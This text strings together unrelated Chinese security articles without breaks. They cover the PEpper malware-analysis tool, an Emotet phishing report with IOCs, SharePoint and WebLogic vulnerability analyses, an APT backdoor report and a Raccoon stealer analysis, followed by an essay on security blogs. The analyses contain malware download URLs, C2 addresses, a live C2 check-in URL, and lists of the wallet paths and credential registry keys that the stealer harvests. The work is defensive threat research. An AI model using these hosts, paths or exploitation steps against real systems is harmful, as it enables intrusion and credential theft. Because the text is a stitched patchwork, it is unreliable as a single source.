今天给大家介绍的是一款名叫PEpper的工具,这是一款开源的脚本工具,广大研究人员可以利用该工具来对可执行程序进行恶意软件静态分析。

工具安装

[email protected]:~$ git clone https://github.com/Th3Hurrican3/PEpper/

[email protected]:~$ cd PEpper

[email protected]:~$ pip3 install -r requirements.txt

[email protected]:~$ python3 pepper.py ./malware_dir

工具运行截图

CSV输出

特征提取

可疑的熵比;

可疑代码大小;

可疑的调试时间戳;

出口流量数量;

反调试调用数;

虚拟机检测调用数;

可疑的API调用数;

可疑的字符串数;

YARA规则匹配数;

URL数量;

IP数量;

GS支持;

CFG支持;

DEP支持;

ASLR支持;

SEH支持;

TLS支持;

导入哈希;

VirusTotal数据库检测;

封装器检测;

数字证书检测;

注意事项

1、可直接针对单个或多个PE进行分析;

2、可将分析结果输出保存为output.csv文件;

3、支持使用VirusTotal Scan,需在virustotal.py文件中添加VirusTotal私钥(要求联网);

参考代码库

1、LIEF项目:【传送门

2、PEstudio:【传送门

3、PEframe:【传送门

4、Yara-Rules:【传送门

项目地址

PEpper:【GitHub传送门

* 参考来源:Th3Hurrican3,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

内容介绍

CTF难题挑战主要聚焦于各种CTF比赛中的难题讲解。 本期视频是围绕pwnable.kr网站上的4个小挑战展开讲解,分别是fd、 collisions、 bof和 flag。

在fd环节中,讲师复制了ssh凭证登录机器,发现fd程序,然后调用函数读取字符,很快他就获得了flag;接下来的collisions环节中涉及了MD5哈希冲突,而bof又与缓存溢出相关;最后flag这一环节是一个逆向的顶级挑战,感兴趣的小伙伴一定不能错过此次的精彩视频。

观看视频

看不到视频点这里

*本课程翻译自Youtube精选系列教程,喜欢的点一波关注(每周更新)!

*本文作者:Darry端,FreeBuf视频组荣誉出品,转载须注明来自FreeBuf.COM 

一、概述

腾讯安全御见威胁情报中心监测到多家企业收到钓鱼邮件攻击,钓鱼邮件附件是一个Office文档,运行后宏病毒会下载Emotet银行木马执行。数据显示近期Emotet木马针对国内的攻击呈明显上升趋势,从事进出口贸易的企业是Emotet银行木马的主要目标。腾讯电脑管家、腾讯御点均可拦截可疑文档中的宏代码执行PowerShell下载恶意程序的行为。

image.png

腾讯御点拦截宏代码执行PowerShell下载病毒

部分受攻击企业如下:

image.png

根据腾讯安全御见威胁情报中心统计数据,Emotet针对国内的钓鱼邮件攻击最严重地区为广东、北京、浙江、上海等地。该病毒影响的地区分布如下:

image.png

二、详细分析

感染执行流程

感染执行过程如下:群发钓鱼邮件,运行附件后doc文档中的宏代码获得执行,宏代码启动powershell进程下载执行Emotet银行木马775.exe,775.exe运行后将自身拷贝到system32目录下重命名为kdslicense.exe并创建为服务运行。

image.png

钓鱼邮件

钓鱼邮件内容有各种类型,包括“发票交易”、“收据”、“会议邀请”等。

另外基本所有的钓鱼邮件内容中都带有说明:This email has been checked for viruses by  xxxxx(译:该电子邮件已通过xxxx杀毒软件检测),显然,这是攻击者的一种欺骗策略。 

image.png

邮件附件中的doc文档带有宏代码,宏代码脚本加了大量的注释以干扰分析,去掉注释后的宏代码如下,其主要功能是:利用Powershell下载执行emotet银行木马。

image.png

Powershell下载Emotet木马

利用Powershell下载emotet银行木马,内置了多个下载emotet木马下载地址,URL地址以“*”分割记录,5个地址会被依次请求进行下载执行。Powershell 命令用base64加密,解码后如下:

image.png

Emotet银行木马下载地址:

hxxp://dsiun.com/wp-content/plugins/ku799fw5/

hxxps://kenoryn.com/wl96sonk/3twu0732/

hxxps://monteriaradio38grados.com/93dqf1b/2778/

hxxp://digitalvriksh.com/database/g31259/

hxxps://ncaaf-live-broadcast.xyz/wp-admin/v532/

emotet银行木马

emotet木马内置多个备用C2服务器地址,部分C2 IP地址:

104.131.58.132

14.160.93.230

68.183.190.199

emotet木马运行后会拷贝自身到system32目录下重命名为kdslicense.exe并创建为服务运行。

image.png

该木马的功能包括:收集系统信息,加密后发送至服务器,然后继续下载第三方载荷,包括Qbot,The Trick等木马。

加密流量信息如下:

image.png

木马会检测用户网银登录行为,通过读取隐私数据获取账号密码信息,注入恶意代码到交互页面,从而在用户的银行相关操作过程时盗取账户资产及机密信息,因而危害极大。

三、安全建议

1、我们建议企业邮箱网管根据本文末尾提供的IOCs信息,将危险发件人邮箱设置为黑名单;

2、建议企业通过培训,教育员工不要打开来源不明的邮件,如果附件是可执行程序,一定不要随意运行;

3、升级Office系列软件到最新版本,及时修复Office组件漏洞,除非确认文档来源可靠,否则不要启用宏;

IOCs

垃圾邮件发件人地址

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

us-west-2.amazonses.com#[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

邮件附件doc:

f9313a300426d912535c24c89aa98875

d36deee7f2b6fcee9a01c557281ffc31

Emotet MD5:

13b34c873c3dfd7590e7770755f68ca9

295bed907502b2bd731845b67a814b0e

URL:

hxxp://dsiun.com/wp-content/plugins/ku799fw5/

hxxp://coastaltherapy.com/wp-includes/chz0u9347/

hxxps://ekafebyayu.000webhostapp.com/wp-admin/iTILkd/ https://www.seyssinet-handball.club/2av67r/m4u0d9fz-7km4-001168061

hxxp://45.56.122.75/walk/guids/

hxxps://www.seyssinet-handball.club:443

hxxps://kenoryn.com/wl96sonk/3twu0732/

hxxps://monteriaradio38grados.com/93dqf1b/2778/

hxxp://digitalvriksh.com/database/g31259/

hxxps://ncaaf-live-broadcast.xyz/wp-admin/v532/

IP:

104.131.58.132

14.160.93.230

68.183.190.199

参考资料:

腾讯安全预警:Emotet银行木马针对国内企业的攻击增加

https://mp.weixin.qq.com/s/XsrwaDOcQh6tcBRl3am9Tg

写在前面的话

在今年年初,研究人员Markus Wulftange(@mwulftange)曾报告过Microsoft SharePoint中的一个远程代码执行漏洞(RCE),该漏洞的CVE编号为CVE-2019-0604。而在今年的九月初,Markus又在SharePoint中发现了另外三个新的远程代码执行漏洞,即CVE-2019-1295CVE-2019-1296CVE-2019-1257。在这篇文章中,我们将对最后一个漏洞,也就是CVE-2019-1257ZDI-19-812)进行详细分析。目前,所有版本的SharePoint都会受到该漏洞的影响,微软方面也将该漏洞的可利用等级评估为最高等级,这也就意味着在不久的将来,会有很多网络犯罪分子利用该漏洞实施攻击。

漏洞细节

这个漏洞存在于微软SharePoint中的业务数据(BDC)连接服务之中,由于自定义的BDC模型中可以使用任意的方法参数类型,从而导致Microsoft SharePoint 2016中的业务数据连接(BDC)服务容易受到XmlSerializer流的任意反序列化的攻击。早在2017年的Black Hat黑帽黑客大会上,研究人员Alvaro Muñoz和Oleksandr Mirosh就曾介绍过如何通过对XmlSerializer流进行任意反序列化并实现任意代码执行【参考文档】。

SharePoint允许使用业务数据连接模型文件格式(MS-BDCMFFS)数据格式来指定自定义的BDC模型,这种规范中的部分内容为方法和参数定义。下面给出的是微软提供的样本

上述代码定义了一个名叫GetCustomer的方法,它负责封装一个名叫sp_GetCustomer的程序,这两者的输入参数(Direction=”In”)和返回参数(Direction=”Return”)都使用了各自对应类型的描述来定义。

在上述样本中,输入参数的原始类型为System.Int32,这就没什么大问题。但如果定义的BDC模型参数类型为Microsoft.BusinessData.Runtime.DynamicType,就会出现问题了。这种方案的好处在于允许开发人员灵活地通过该参数传递不同类型的值,但坏处就是为反序列化的调用方提供了任意的XmlSerializer流。

漏洞利用

我们的测试设备为Microsoft SharePoint Server 2016,并且安装了KB4464594,操作系统版本为64位的Windows Server 2016 update 14393.3025。

漏洞利用步骤及过程如下:

1、管理员首先需要自定义一个BDC模型,其中包括一个参数类型为Microsoft.BusinessData.Runtime.DynamicType的方法。针对自定义的BDC模型,程序会使用数据库模型样本来作为模板对其进行大规模简化:

2、接下来,管理员需要通过SharePoint管理中心|应用管理|管理服务应用程序|业务数据连接服务来上传BDC模型。当然了,这个操作也可以通过PowerShell来完成:

3、然后,攻击者就可以调用这个方法了,并通过函数参数来传递攻击Payload:

在SharePoint服务器上,你将会发现生成了两个cmd.exe实例以及一个win32calc.exe实例,它们都会以SharePoint应用程序池的身份运行。

如果你想要查看代码路径的话,你可以把调试器绑定到SharePoint应用程序的w3wp.exe上,并在system.web.dll上设置断点。

我们可以通过System.Web.dll!System.Web.UI.ObjectStateFormatter.Deserialize来查看调用堆栈:

总结

需要注意的是,即便是你能够成功利用该漏洞并实施攻击,你也无法拿到服务器端的管理员权限,不过攻击者可以利用该漏洞在SharePoint应用程序池以及SharePoint服务器账号的上下文环境中执行他们的代码。根据微软方面的描述,他们已经在9月份推送的补丁中修复了此漏洞。

参考资料

1、https://docs.microsoft.com/en-us/openspecs/sharepoint_protocols/ms-bdcmffs/0c568f71-36de-4a89-b44f-cab48609b86a

2、https://twitter.com/thezdi

* 参考来源:zerodayinitiative,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

这个漏洞和之前@Matthias Kaiser提交的几个XXE漏洞是类似的,而EJBTaglibDescriptor应该是漏掉的一个,可以参考之前几个XXE的分析。我和@Badcode师傅反编译了WebLogic所有的Jar包,根据之前几个XXE漏洞的特征进行了搜索匹配到了这个EJBTaglibDescriptor类,这个类在反序列化时也会进行XML解析。

Oracle发布了10月份的补丁,详情见链接(https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html)

环境

· Windows 10

· WebLogic 10.3.6.0.190716(安装了19年7月补丁)

· Jdk160_29(WebLogic 自带的JDK)

漏洞分析

weblogic.jar!\weblogic\servlet\ejb2jsp\dd\EJBTaglibDescriptor.class这个类继承自java\io\Externalizable

1.png

因此在序列化与反序列化时会自动调用子类重写的writeExternal与readExternal

看下writeExternal的逻辑与readExternal的逻辑,

2.png

在readExternal中,使用ObjectIutput.readUTF读取反序列化数据中的String数据,然后调用了load方法,

3.png

在load方法中,使用DocumentBuilder.parse解析了反序列化中传递的XML数据,因此这里是可能存在XXE漏洞的

在writeExternal中,调用了本身的toString方法,在其中又调用了自身的toXML方法

4.png

5.png

toXML的作用应该是将this.beans转换为对应的xml数据。看起来要构造payload稍微有点麻烦,但是序列化操作是攻击者可控制的,所以我们可以直接修改writeExternal的逻辑来生成恶意的序列化数据:

6.png

漏洞复现

1. 重写 EJBTaglibDescriptor中的writeExternal函数,生成payload

7.png

2. 发送payload到服务器

8.png

在我们的HTTP服务器和FTP服务器接收到了my.dtd的请求与win.ini的数据

9.png

3. 在打了7月份最新补丁的服务器上能看到报错信息

10.png

参考链接

[1] 分析: https://paper.seebug.org/906/

[2]  https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html

如需转载请注明来源。

作者:[email protected]知道创宇404实验室
时间:2019年10月16日

原文链接:https://paper.seebug.org/1067/

事件追踪

近日,深信服安全团队关注到,国外安全研究人员Misterch0c在twitter上发现疑似某APT组织的后台,时间节点在2019年10月27日。

图片1.png

28日,另外一名安全研究员跟推,指出有部分中国用户被控制。

图片2.png

关于此次事件的重要C2服务器lmhostsvc.net,深信服安全云脑威胁情报显示,只有极少数的访问记录,访问时间在2019年10月29号,并非关键核心部门,是一些学院性质的学校,疑似是twitter曝光lmhostsvc.net后,一些在校安全研究人员在研究和访问。

图片3.png

样本分析

该次事件所关联的样本母体是一个.msi文件,这个病毒以钓鱼邮件附件的方式分发到被攻击的目标。病毒运行后,会弹出一个提示框提示用户等待安装,来以掩盖背后的恶意行为。

图片4.png

该msi会释放主程序audiodq.exe,该程序的主要功能为发送主机信息及接收C&C端下发的组件,如下图所示,regdl.exe和MSAServices.exe即为下发的后门组件。

图片5.png

各组件功能如下:

捕获.PNG

MSAServices.exe是一个.NET编写的后门,反编译后,其核心功能如下,主要为:文件操作、进程管理、远程执行命令。

图片6.png

最后,从监控到的流量可以发现,中招主机上线URL形如:

http://lmhostsvc.net/healthne/accept.php?a=MT&b=MT&c=Windows 7 Ultimate&d=G4rb3nG4rb3n53be9afe-e736-4104-8f32-fce8324c70e8365536040965860&e=

图片7.png

介绍

Raccoon恶意软件是2019年地下经济中最流行的十大恶意软件之一,它既不复杂也不创新,但在出现不到一年的时间内已感染了全球成千上万的设备,吸引了众多网络犯罪分子使用。Raccoon的流行也表明,恶意软件商品化的趋势正变得越来越强,恶意软件创作者从亲力亲为逐渐转型为供应商的角色。

本文将重点关注两个方面:一是介绍Raccoon的背景,包括起源、团队成员、商业模式、营销方式、欢迎程度、竞争关系等;二是Raccoon存在的一些技术缺陷和未来可能的发展方向。

1.png

图1.2019年1至7月,Recorded Future统计的十大恶意软件发展情况

要点

· Raccoon间谍软件:Cybereason Nocturnus团队自2019年4月以来一直在调查涉及Raccoon的多起事件,现在能够对恶意软件的技术方面进行全面分析,调查显示它背后的团队可能归属俄罗斯。

· 窃取大量数据:Raccoon并不复杂,但利用了几种潜在的交付方法,能够窃取大量重要数据,包括信用卡信息、加密货币钱包、浏览器数据和电子邮件凭证。

· 快速扩张:Raccoon虽然于今年年初发布,但它在地下社区的爆炸式增长已成为2019年市场上十大最受引用的恶意软件之一,并感染了全球数十万个端点,遍及北美,欧洲和亚洲的组织和个人。

· 轻易上手:Raccoon遵循恶意软件即服务的模型,使个人可以快速简便地使用,无需花费大量的金钱投入或技术成本。

· 追随者广泛:Raccoon背后的团队因其服务水平而备受赞誉。

Part 1.Raccoon背景

什么是Raccoon间谍软件?

Raccoon,也被称为“ Mohazo”或“ Racealer”,其核心是一种简单的信息窃取程序,通常在Fallout和RIG漏洞利用工具包中看到。它被用来窃取信用卡信息、加密货币钱包、浏览器相关数据和邮件客户端等数据。

Raccoon用C ++编写,可在32位和64位操作系统上工作。最初它被许多安全产品公司归类为密码窃取器,但它实际能利用的功能要更为广泛。

Raccoon背后的威胁行为者

Raccoon由一支疑似源自俄罗斯的团队开发,最初在俄语黑客论坛中推广,但现在也在英语社区中积极宣传。

2.png

图2.Raccoon在俄罗斯地下论坛上销售

Raccoon以MaaS的形式出售,具有易于使用的自动化后端面板和防弹主机,能24小时支持客户的需求,每月使用费约为200美元。

 3.png

图3.联系方式

Raccoon开发周期很快,往往在几天内就发布更新、bug修复和新特性。背后团队在地下社区也非常活跃,他们的用户名是raccoonstealer,每天都在地下论坛和Telegram上发帖,并积极回复社区内的问题和评论。

尽管Raccoon背后团队的身份仍然未知,但Raccoon的竞争对手——predator间谍软件的创作者 Alexuiop1337指出Raccoon是另一知名黑客glad0ff所作。对竞争对手的指控我们不应该全信,但通过Raccoon面板和泄露的客户数据显示,Raccoon管理员的用户名是glad0ff(2019年2月在数据库中创建的),这点能把glad0ff和Raccoon联系在一起。

 4.png

图4.Raccoon数据库中的glad0ff用户创建日期

GLAD0FF是谁?

glad0ff是一个长期活跃的黑客,开发了Decrux和Acrux加密矿工,以及Mimosa RAT、ProtonBot加载器之类的恶意软件。glad0ff的客户群体主要是那些不怎么老练的威胁分子,以服务质量、奉献精神和响应能力获得了许多客户的称赞。

有人质疑Raccoon模仿了Vidar、Baldr之类的间谍软件,因为它们在功能上很类似,但Raccoon成员始终否认与其他团队有任何联系。

Raccoon的受欢迎度

Raccoon的售后工作也做得相当到位,许多人为Raccoon撰写了好评,有人甚至认为它是另一款著名的间谍软件——Azorult的高性价替代品,而批评的声音主要集中在Raccoon相比其他的间谍软件,有过于简单、特色不明、缺乏创新的缺点,但高质量的服务能弥补很大程度上弥补这些缺陷。

功能有限的Raccoon却能如此受欢迎,也说明了恶意软件商品化的趋势越来越强,创作者逐渐转型为供应商的角色。

Part2.Raccoon分析

Raccoon传递机制

Raccoon的传递方式多种多样,最常见的是漏洞利用工具包(EK)、网络钓鱼攻击和捆绑的恶意软件。

· 漏洞利用工具包

漏洞利用工具包会在受害者浏览网页时自动利用计算机上的漏洞。用户访问恶意页面后被重定向到到包含恶意代码的登录页面,此举通常在未经用户同意或交互的情况下执行。

为了交付Raccoon,攻击者利用Fallout EK从Internet Explorer生成PowerShell实例,然后下载Raccoon的核心payload。

 5.png

图5.Fallout漏洞利用工具包提供Raccoon

· 网络钓鱼

网络钓鱼是一种社会工程学攻击,诱使用户执行恶意内容。最常见的是邮件中附带包含恶意宏代码的Office文档,宏代码会在文档打开后自动执行。

在Raccoon的情况下,文档打开后宏代码将创建与恶意域的连接并下载核心payload。

 6.png

图6.恶意Word文档下载Raccoon payload

· 捆绑恶意软件

捆绑的恶意软件是指那些从不正规网站上下载的假合法软件,这类恶意软件在安装过程中通常对用户隐藏,或者利用社交工程技术来进行安装。

探索RACCOON的代码和核心功能

7.png

图7.攻击者计算机上的恶意软件编译的内部路径

如上所述,Raccoon队似乎是俄罗斯血统。在内部路径中发现的错字也表明他们对英语的生疏。

 8.png

图8.Raccoon团队发布了针对第三方加密器的建议

Raccoon的核心payload未加壳,也不包含内置的反调试或反vm保护。它按原样出售,没有防分析师或检测人员的任何保护机制,但Raccoon团队会建议客户使用第三方加密程序GreenCrypt来规避杀毒产品。

RACCOON与其C2服务器的通信

加载器在目标计算机上执行后,将在内存中解包并连接到C2服务器。Raccoon使用base64编码的参数bot_id和config_id发送POST请求。

 9.png

图9.Raccoon发送带有两个参数的POST请求

成功连接并验证了Raccoon的Bot ID后,它将下载一个包含多个不同dll的压缩zip文件。这些DLL本身不一定一定是恶意的,但Raccoon依靠它们来收集和窃取目标计算机上的数据。

收集目标计算机上的本地设置

 10.png

图10.Raccoon检查目标计算机的本地设置

不过Raccoon会先检查目标计算机的本地设置,并将其与一系列语言进行比较,包括俄语、乌克兰语、白俄罗斯语、哈萨克语、吉尔吉斯语、亚美尼亚语、塔吉克语和乌兹别克语。如果相匹配,恶意软件将立即中止。这是来自独联体国家的恶意软件的常见做法。

收集敏感数据

初始感染后,Raccoon会使用多种方法来收集敏感信息,并存储在Temp文件夹中。

截屏

 11.png

图11.Raccoon恶意截屏

Raccoon使用GetDesktopWindow和CreateCompatibleBitmap获取屏幕截图,并另存为screen.jpeg在Temp文件夹中。

窃取系统信息

Raccoon收集的信息包括用户名、IP地址、语言设置、操作系统版本、安装的应用程序信息、CPU和内存信息,并存储在以下位置的文本文件中:

C:\Users\[user]\AppData\Local\Temp\machineinfo.txt

 12.png

图12.收集信息

窃取浏览器信息

浏览器数据很多都存储在本地计算机上的SQLite数据库文件中,比如当用户在浏览器中保存其用户名和密码时,浏览器会将数据存储在Login Data SQLite数据库文件中。浏览器还将cookie信息存储在cookie文件中,并将其他自动填充数据(如信用卡数据)存储在Web Data文件中。

Raccoon能从30多个浏览器中窃取信息。它在注册表软件配置单元中搜索安装的浏览器,并从目标浏览器中窃取凭据、cookie和自动填充数据。

被Raccoon盯上的浏览器

t1.jpg

13.png

图13.Raccoon窃取浏览器信息的配置代码示例

Raccoon将目标浏览器数据文件以随机名称复制到Temp文件夹中,用DLL SQLite3.dll来解析文件并提取数据。被窃取的信息被分成几个文本文件,这些文件以其关联的浏览器命名,并保存在Temp/browser下。

Raccoon还创建了一个名为password .txt的主文件,其中包含窃取的所有密码。

 14.png

图14.passwords.txt格式示例

窃取Outlook账户

Raccoon的代码可提取Microsoft Outlook的帐户信息。

 15.png

图15.提取Microsoft Outlook帐户信息的代码

相关注册表项如下:

· HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts

· HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

· HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

在上述注册表中搜索存储在Mail客户端中的敏感信息,将其保存到Temp / mails下的文本文件中。

 16.png

图16.从Mail客户端帐户收集信息

窃取加密货币钱包

Raccoon从下列地址中搜索加密货币钱包:

· C:\Users\<user>\AppData\Roaming\Electrum\wallets

· C:\Users\<user>\AppData\Roaming\Jaxx\Local Storage

· C:\Users\<user>\AppData\Roaming\Exodus\exodus.wallet

· C:\Users\<user>\AppData\Roaming\Ethereum Wallet

如找到,将保存在Temp。

为了方便客户,Raccoon提供了一项服务,可自动处理所有加密货币钱包,无需在被盗数据中搜索特定日志。

即将推出的新功能

当前版本的Raccoon没有按键记录功能。但鉴于部分客户的要求,Raccoon团队可能会在不久后添加这项功能。

数据提取和自删除

Raccoon将所有窃取的数据保存到gate.zip中,并发送到C2服务器。

 17.png

图17.Raccoon收集的所有数据

成功提取所有敏感数据后,Raccoon会从计算机中删除其二进制文件,使用ping.exe生成cmd.exe并执行delete命令。

 18.png

图18.Raccoon的自删除

Part 3.总结

根据地下社区的售出记录,估计Raccoon在短短几个月内已感染了全球100,000多个端点。它简单上手,背后的团队也一直在努力改进并提供响应服务,因此Raccoon颇具吸引力。它提供了一种快速简便的赚钱方法,也不需要投入大量资金或具有深厚的技术背景。

Raccoon收集了大量信息,包括信用卡信息、加密货币钱包、用户名和密码,以及用来窃取公司数据、金钱和其他敏感信息的浏览数据。这些数据被用来敲诈受害者,或被网络罪犯在地下社区出售。

文章会偏长,因为不仅会体现处理过程和结果,更多想体现的其实是其中思考的过程。

关键字:青年安全圈、公开知识分享者和活跃者。

因为年长的大师傅们受限于工作事业家庭孩子等,很少高频更新技术文章分享知识了。

最初目的:丰富自己

最近读的一篇文章中有句话触动了我,“不要过度focus在自己工作的小领域,要有全局化的眼光,特别是自己的上游和下游”,细细思考了一下,确实有些道理,自己的小领域可以看成是点,上游和下游是线,全局是面,也即是“点-线-面”体系,而以后的职业发展中,肯定是从点->线->面,现在早学习早积累,就能在以后发展的过程中先别人一步,所以笔者打算扩充一下自己的知识库。

平时学习的安全知识数据源主要来源于微信系列和知乎系列,慢慢的深感个人日常安全阅读资源的不足与局限,需要从新的数据源来补充,同时看看其他安全从业者在干嘛。

经过权衡笔者选择了人作为切入点,更具体的来说选择了博客作为切入点。为什么选择博客?而不是选择微博?Twitter?Github?

安全技术博客的优点是:博客内容较Twitter等更完整且详实,阅读与吸收知识门槛较低;博客可以一定程度上刻画博主,因为博客内容含有博主的许多个人公开信息,例如Github、Twitter、Zhihu、邮箱、所属的安全团队、毕业的高校和就业的公司等;博客内容的传播性广,易于知识分享与传播;博客内容能反映博主的主要研究方向,可以聚焦学习。

安全技术博客的缺点是:信息滞后性,Twitter和各大公司预警才是王道。所以总的来说,博客更专注于知识的分享和吸收,其他社交方式更专注于知识的传播。

之后在不断的阅读过程中,觉得独乐乐不如众乐乐,能对外输出点什么呢?这就有了延续性的目的。

延续性目的:方便他人

以人为核心,系统化收集博客、Github、当前主要研究方向、所属安全组织、学校、公司、RSS、知乎、微博、Email等公开信息,缩小安全圈的范围,达到信息检索的目的,通过关键字检索,方便找人,缩小人与人之间的交流障碍。比如通过高校关键字,可以快速找到校友,通过网络ID快速找到博主;达到安全内容学习的目的,例如从主要研究方向入手,Follow不同方向活跃博主,补充阅读资源,紧追安全前沿;达到数据分析的目的,挖掘人与人之间的社交网络,同时判断自己当前所处位置,指引未来发展方向。

数据采集

重点思考了一下从哪采?如何采?怎么保证数据的准确性和及时性?可能存在的问题?

采集的起始点应该选择具有一定影响力辐射范围广的安全人员/安全组织/安全门户等站点,安全门户比如sec-wiki上的安全网址聚合,亲测了一下发现很多数据的及时性不好(及时性这点也给后续工作埋了坑),都是老数据,无法访问了。最终选择了L Team作为起始采集点,原因有三,一是L在青年安全圈较为知名,二是L Team薪火相传,团队成员上到工作几年的冷夜师傅和P师傅,下到目前大二大三大四的师傅们,无论是年龄还是技术覆盖范围都很广,而且许多成员都是安全圈活跃的技术大佬,三是团队成员多,可用的采集起点很多。

那么如何采集呢?写爬虫自动化爬吗?不太现实,原因有几点:1、如果是少数几个站点,可以针对站点结构有针对性写个爬虫爬数据,这点碳基体师傅已经实现并分析过了《从内容产出看安全领域变化》;2、相对于碳基体师傅的安全趋势分析,本文侧重点在人,需要精细化数据和处理,预期想获取的数据格式是

笔者在跟着学习的,笔者觉得不错推荐的,索引ID,网络ID,活跃的博客链接,个人(1)/团队(2)/公司(3)博客,友情链接的索引ID,Github地址,微博地址,主要研究领域,所属安全团队,所属高校/公司,技能标签(PHP?Python?Java),人物标签(摄影?动漫?文艺),RSS订阅地址,推特地址,知乎地址,邮箱地址,联系方式(QQ?微信?),著名开源项目

能自动化准确的及时的爬到这些的怕是只有google?回想到笔者的本意其实是阅读和吸收安全知识,为何不“人工智能”在进行“深度学习”和广度学习阅读吸收的同时顺手采集预期信息呢,这样也就保证了数据的准确性和暂时的及时性。

当笔者花了快一个月时间大致浏览完了500+个安全博客,筛选出了450个较优质且目前还活跃的博客后,笔者发现囫囵吞枣硬塞到脑子里的知识都要溢出来了,本来一点不懂二进制安全的,现在也知道一些常见操作了,本来不跟进最新漏洞的,也知道最近哪些漏洞最火了,对青年安全圈整体的水平也有了粗浅的理解。

可能存在的问题主要有二:一是受限于采集策略(采集起点,判断是否是活跃安全技术博客的策略等)和不可控因素(网站在墙内墙外的可访问状态,网速,域名ip变更等),最终采集的数据一定只是局部数据,不代表整体,就像p师傅指出的那样,“数据是最新的,不过可能和美国大选的民调一样,你调查的人几乎都是会接受采访的人,导致很多人被忽略了,得出相反的结论”。二是不能自动化爬取的话,数据以后的及时性无法保证。

数据分析

首先分析一下安全人员的个人属性,比如网络ID、Blog SSL、CTF和主要研究方向。

统计已有的数据可以发现,大约90%的安全人员习惯使用小于10个字符的网络ID

同时大约有三分之一安全人员的网络ID常用字母+数字组合

笔者有一个直观的感觉是很多CTF大佬的ID都是字母+数字组合,那么字母+数字组合是不是CTF的标志呢?

可以看出五五开,不是一个明显标志。

在采数据的过程中发现很多师傅们都用了HTTPS(专业),经过统计有63.5%的师傅们用了HTTPS,在没换HTTPS的师傅们中,发现有42%是打CTF的师傅们,分析了一下大多还是在校本科生。

另外有44.4%热爱知识记录、分享和传播的安全人员打过CTF,看来CTF或已经成为青一代安全人员的必修课,同时CTF选手更活跃于在博客写技术文章(writeup来凑QaQ)。当然也可能是数据本身造成的问题,这个之前提到了,可能爬取的数据陷入到了某个局部中,不能代表整体。

笔者根据个人理解,在阅读博客文章时对博主们的主要安全研究方向打了标签,分析了一下青一代安全人员的研究方向分布现状,这里列出其中部分数据

可以看到现阶段青一代安全博主的研究方向主要集中在CTF、Web安全、安全研究、漏洞分析、代码审计等应用安全方向,做逆向、PWN、安全开发、企业安全建设、机器学习等方向的青年安全人员还比较少。

再分析一下安全人员的组织结构,比如:Blog友情链接、安全团队、所在高校。

从Blog友情链接关系看安全人员结构,使用入度作为标签尺寸的衡量标准,发现P师傅简直是个黑洞,可以得到:P师傅牛逼(破音),同时得到在博客这个渠道,青一代最有影响力的安全技术公开分享者可能是P师傅。

说可能的原因有几点:一是如果不是选L Team作为采集起点,毕竟L Team和p师傅紧密相关,而选用其他安全站点作为起点的话,结果会不会还是一样的呢?猜想一下,如果从另一个入口作为采集起点的话,那么很可能还是会被P师傅这个黑洞所吸引?!除非有更大的黑洞?二是有很多师傅的博客都没挂友链或是在默默发育,比如rr师傅,你能说rr不open,没有影响力吗?显然是不能的,安全圈谁不认识rr(rrtql),再比如鬼才evil7师傅,博客挂了好像,显然也没能体现出来。

从安全人员所属高校看安全人员结构,明面上的数据有近30%的安全人员在博客中注明了所属高校,他们主要是西安电子科技大学、成都信息工程大学、电子科技大学、杭州电子科技大学、厦门大学、武汉大学、山东科技大学、南京邮电大学、北京邮电大学、东南大学等。可以看到都是很厉害的高校,这是否一定程度上代表着青一代安全已经进入了高学历的深水区?!虽然从博客入口得到的数据只是青年安全圈公开活跃、公开知识分享人员的一部分。

看一下高校聚类的结果

可以看到,虽然是从西安电子科技大学L Team作为起点,但还是被成都信息工程大学这个大黑洞所吸引。成信大牛逼,学习网络安全,欢迎报考成都信息工程大学。

再带上高校标签看一下安全博主博客友链之间的关系:

西电的当家双花旦是P师傅和冷夜师傅,成信大的三大研究员l3mon柠檬师傅、Tomato师傅、AppLeU0师傅,杭电的veritas501师傅、电子科大的Cyru1s打通两校安全连接,山科大的p0desta和p0破带头冲锋,厦大的chybeta认识成电的小姐姐(xmsl),等等,其中关系错综复杂,许多意料之外,但又在情理之中。这部分可以给出的有价值信息是:Follow这些骨干节点博主的博客,跟着大师傅们学习!!

从安全组织看,r3kapig、Nu1L、XDSEC、Sysclover四大组织活跃人数众多。

最后从安全人员的结果产出角度分析一下数据,比如Github、RSS。

不仅从博主们的博客内容中可以学到很多安全知识,博主们的Github也有很多有意思的项目,笔者根据这些师傅们的Github地址,收集整理了一批star数在三位及以上的优质项目资源,笔者把它叫做Github&&大安全。Github安全相关项目主要分为两类,知识和工具,有很多师傅们总结了例如内网渗透的知识库、Web安全的知识库、企业安全建设的工具集合或是单个的某小方向安全工具,Github&&大安全旨在做一个优质安全项目的大索引。

针对博主们博客的RSS,我们也可以做很多有意思的事,可以集中导入RSS阅读器,也可以有针对性的导入,比如根据研究方向/安全团队/高校挑选RSS数据导入阅读器,其中的研究方向不只Web安全这种大方向,笔者还做了精细化处理,标记了Java代码审计、安全开发、域渗透、IoT安全、Windows安全、区块链安全等小众方向。

产出价值

扩充了自己的视野和知识库,以人为核心,理解了青年安全从业者及其安全研究工作。

挑选了24个现阶段和未来一段时间适合自己补充学习的安全博客,规划指导自己的学习。

